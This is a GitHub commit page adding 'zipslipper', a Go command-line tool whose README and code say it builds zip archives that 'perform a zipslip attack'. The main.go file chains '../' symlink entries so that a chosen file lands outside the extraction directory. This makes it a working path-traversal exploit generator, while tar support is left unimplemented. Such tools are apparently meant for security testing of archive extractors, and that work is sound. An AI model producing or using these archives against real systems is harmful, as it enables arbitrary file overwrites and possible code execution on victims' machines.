-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
added initial implementation for zip
- Loading branch information
Showing
8 changed files
with
343 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
name: golangci-lint | ||
on: | ||
push: | ||
branches: | ||
- main | ||
pull_request: | ||
|
||
permissions: | ||
contents: read | ||
|
||
jobs: | ||
golangci: | ||
name: lint | ||
runs-on: ubuntu-latest | ||
steps: | ||
- uses: actions/[email protected] | ||
- uses: actions/[email protected] | ||
with: | ||
go-version: '1.21' | ||
cache: false | ||
- name: golangci-lint | ||
uses: golangci/[email protected] | ||
with: | ||
version: v1.54 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
name: release | ||
|
||
on: | ||
release: | ||
types: [ published ] | ||
|
||
jobs: | ||
release: | ||
name: Release | ||
runs-on: ubuntu-latest | ||
steps: | ||
- name: Setup go 1.21 | ||
uses: actions/[email protected] | ||
with: { go-version: '1.21' } | ||
|
||
- name: Checkout code | ||
uses: actions/[email protected] | ||
|
||
- name: Run GoReleaser | ||
uses: goreleaser/[email protected] | ||
with: | ||
distribution: goreleaser | ||
version: latest | ||
args: release --clean | ||
env: | ||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -23,3 +23,4 @@ go.work.sum | |
|
||
# env file | ||
.env | ||
zipslipper |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
default: build | ||
|
||
build: | ||
@go build -o zipslipper . | ||
|
||
|
||
install: build | ||
@mv zipslipper $(GOPATH)/bin/zipslipper | ||
|
||
clean: | ||
@go clean | ||
@rm zipslipper | ||
|
||
test: | ||
go test ./... | ||
|
||
test_coverage: | ||
go test ./... -coverprofile=coverage.out | ||
|
||
test_coverage_view: | ||
go test ./... -coverprofile=coverage.out | ||
go tool cover -html=coverage.out | ||
|
||
test_coverage_html: | ||
go test ./... -coverprofile=coverage.out | ||
go tool cover -html=coverage.out -o=coverage.html | ||
|
||
all: build install |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,43 @@ | ||
# zipslipper | ||
Create tar archives | ||
Create tar/zip archives that try to exploit zipslip vulnerability. | ||
|
||
## CLI Tool | ||
|
||
You can use this library on the command line with the `zipslipper` command. | ||
|
||
### Installation | ||
|
||
```cli | ||
go install github.com/NodyHub/zipslipper@latest | ||
``` | ||
|
||
### Manual Build and Installation | ||
|
||
```cli | ||
git clone [email protected]:NodyHub/zipslipper.git | ||
cd zipslipper | ||
make | ||
make install | ||
``` | ||
|
||
## Usage | ||
|
||
Basic usage on cli: | ||
|
||
```shell | ||
% zipslipper -h | ||
Usage: zipslipper <input> <relative-path> <output-file> [flags] | ||
|
||
A utility to build tar/zip archives that performs a zipslip attack. | ||
|
||
Arguments: | ||
<input> Input file. | ||
<relative-path> Relative extraction path. | ||
<output-file> Output file. | ||
|
||
Flags: | ||
-h, --help Show context-sensitive help. | ||
-t, --archive-type="zip" Archive type. (tar, zip) | ||
-v, --verbose Verbose logging. | ||
-V, --version Print release version information. | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
module github.com/NodyHub/zipslipper | ||
|
||
go 1.23.1 | ||
|
||
require github.com/alecthomas/kong v1.2.1 // indirect |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
github.com/alecthomas/kong v1.2.1 h1:E8jH4Tsgv6wCRX2nGrdPyHDUCSG83WH2qE4XLACD33Q= | ||
github.com/alecthomas/kong v1.2.1/go.mod h1:rKTSFhbdp3Ryefn8x5MOEprnRFQ7nlmMC01GKhehhBM= |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,215 @@ | ||
package main | ||
|
||
import ( | ||
"archive/zip" | ||
"fmt" | ||
"io" | ||
"log/slog" | ||
"os" | ||
"path/filepath" | ||
"strings" | ||
"time" | ||
|
||
"github.com/alecthomas/kong" | ||
) | ||
|
||
var ( | ||
version = "dev" | ||
commit = "none" | ||
date = "unknown" | ||
) | ||
|
||
var CLI struct { | ||
InputFile string `arg:"" name:"input" help:"Input file."` | ||
RelativePath string `arg:"" name:"relative-path" help:"Relative extraction path."` | ||
Out string `arg:"" name:"output-file" type:"path" help:"Output file."` | ||
ArchiveType string `short:"t" default:"zip" help:"Archive type. (tar, zip)"` | ||
Verbose bool `short:"v" optional:"" help:"Verbose logging."` | ||
Version kong.VersionFlag `short:"V" optional:"" help:"Print release version information."` | ||
} | ||
|
||
func main() { | ||
|
||
// Parse CLI arguments | ||
kong.Parse(&CLI, | ||
kong.Description("A utility to build tar/zip archives that performs a zipslip attack."), | ||
kong.UsageOnError(), | ||
kong.Vars{ | ||
"version": fmt.Sprintf("%s (%s), commit %s, built at %s", filepath.Base(os.Args[0]), version, commit, date), | ||
}, | ||
) | ||
|
||
// Check for verbose output | ||
logLevel := slog.LevelError | ||
if CLI.Verbose { | ||
logLevel = slog.LevelDebug | ||
} | ||
|
||
// setup logger | ||
logger := slog.New(slog.NewTextHandler(os.Stderr, &slog.HandlerOptions{ | ||
Level: logLevel, | ||
})) | ||
|
||
// LOG CLI arguments | ||
logger.Debug("CLI arguments", "CLI", CLI) | ||
|
||
switch CLI.ArchiveType { | ||
|
||
case "zip": | ||
if err := createZip(); err != nil { | ||
logger.Error("failed to create zip archive", "error", err) | ||
os.Exit(1) | ||
} | ||
|
||
case "tar": | ||
if err := createTar(logger); err != nil { | ||
logger.Error("failed to create tar archive", "error", err) | ||
os.Exit(1) | ||
} | ||
|
||
default: | ||
logger.Error("invalid archive type", "type", CLI.ArchiveType) | ||
os.Exit(1) | ||
} | ||
} | ||
|
||
func createZip() error { | ||
// Create a zip archive | ||
|
||
// create a new zip archive | ||
zipfile, err := os.Create(CLI.Out) | ||
if err != nil { | ||
return fmt.Errorf("failed to create zip file: %s", err) | ||
} | ||
defer func() { | ||
if err := zipfile.Close(); err != nil { | ||
panic(fmt.Errorf("failed to close zip file: %s", err)) | ||
} | ||
}() | ||
|
||
// create a new zip writer | ||
zipWriter := zip.NewWriter(zipfile) | ||
defer func() { | ||
if err := zipWriter.Close(); err != nil { | ||
panic(fmt.Errorf("failed to close zip writer: %s", err)) | ||
} | ||
}() | ||
|
||
// create basic zip structure | ||
if err := addFolderToZip(zipWriter, "sub/"); err != nil { | ||
return fmt.Errorf("failed to add folder 'sub/' to zip: %s", err) | ||
} | ||
if err := addSymlinkToZip(zipWriter, "sub/root", "../"); err != nil { | ||
return fmt.Errorf("failed to add symlink 'sub/root --> ../' to zip: %s", err) | ||
} | ||
if err := addSymlinkToZip(zipWriter, "sub/root/outside", "../"); err != nil { | ||
return fmt.Errorf("failed to add symlink 'sub/root/outside --> ../' to zip: %s", err) | ||
} | ||
|
||
// check how many traversals are needed | ||
traversals := strings.Count(CLI.RelativePath, "../") | ||
basePath := "sub/root/outside" | ||
for i := 0; i < traversals; i++ { | ||
basePath = fmt.Sprintf("%s/%v", basePath, i) | ||
if err := addSymlinkToZip(zipWriter, basePath, "../"); err != nil { | ||
return fmt.Errorf("failed to add symlink '%s --> ../' to zip: %s", basePath, err) | ||
} | ||
} | ||
|
||
// add the file to the zip archive | ||
filePath := fmt.Sprintf("%s/%s", basePath, CLI.InputFile) | ||
if err := addFileToZip(zipWriter, CLI.InputFile, filePath); err != nil { | ||
return fmt.Errorf("failed to add file to zip: %s", err) | ||
} | ||
|
||
return nil | ||
} | ||
|
||
func addFolderToZip(zipWriter *zip.Writer, folder string) error { | ||
|
||
// ensure folder nomenclature | ||
if !strings.HasSuffix(folder, "/") { | ||
folder = folder + "/" | ||
} | ||
zipHeader := &zip.FileHeader{ | ||
Name: folder, | ||
Method: zip.Store, | ||
Modified: time.Now(), | ||
} | ||
zipHeader.SetMode(os.ModeDir | 0755) | ||
|
||
if _, err := zipWriter.CreateHeader(zipHeader); err != nil { | ||
return fmt.Errorf("failed to create zip header for directory: %s", err) | ||
} | ||
|
||
return nil | ||
} | ||
|
||
func addFileToZip(zipWriter *zip.Writer, file string, relativePath string) error { | ||
|
||
// open the file | ||
fileReader, err := os.Open(file) | ||
if err != nil { | ||
return fmt.Errorf("failed to open file: %s", err) | ||
} | ||
defer fileReader.Close() | ||
|
||
// stat input | ||
fileInfo, err := fileReader.Stat() | ||
if err != nil { | ||
return fmt.Errorf("failed to stat file: %s", err) | ||
} | ||
|
||
// create a new file header | ||
zipHeader, err := zip.FileInfoHeader(fileInfo) | ||
if err != nil { | ||
return fmt.Errorf("failed to create file header: %s", err) | ||
} | ||
|
||
// set the name of the file | ||
zipHeader.Name = relativePath | ||
|
||
// set the method of compression | ||
zipHeader.Method = zip.Deflate | ||
|
||
// create a new file writer | ||
writer, err := zipWriter.CreateHeader(zipHeader) | ||
if err != nil { | ||
return fmt.Errorf("failed to create zip file header: %s", err) | ||
} | ||
|
||
// write the file to the zip archive | ||
if _, err := io.Copy(writer, fileReader); err != nil { | ||
return fmt.Errorf("failed to write file to zip archive: %s", err) | ||
} | ||
|
||
return nil | ||
} | ||
|
||
func addSymlinkToZip(zipWriter *zip.Writer, symlinkName string, target string) error { | ||
|
||
// create a new file header | ||
zipHeader := &zip.FileHeader{ | ||
Name: symlinkName, | ||
Method: zip.Store, | ||
Modified: time.Now(), | ||
} | ||
zipHeader.SetMode(os.ModeSymlink | 0755) | ||
|
||
// create a new file writer | ||
writer, err := zipWriter.CreateHeader(zipHeader) | ||
if err != nil { | ||
return fmt.Errorf("failed to create zip header for symlink %s: %s", symlinkName, err) | ||
} | ||
|
||
// write the symlink to the zip archive | ||
if _, err := writer.Write([]byte(target)); err != nil { | ||
return fmt.Errorf("failed to write symlink target %s to zip archive: %s", target, err) | ||
} | ||
|
||
return nil | ||
} | ||
|
||
func createTar(logger *slog.Logger) error { | ||
panic("not implemented") | ||
} |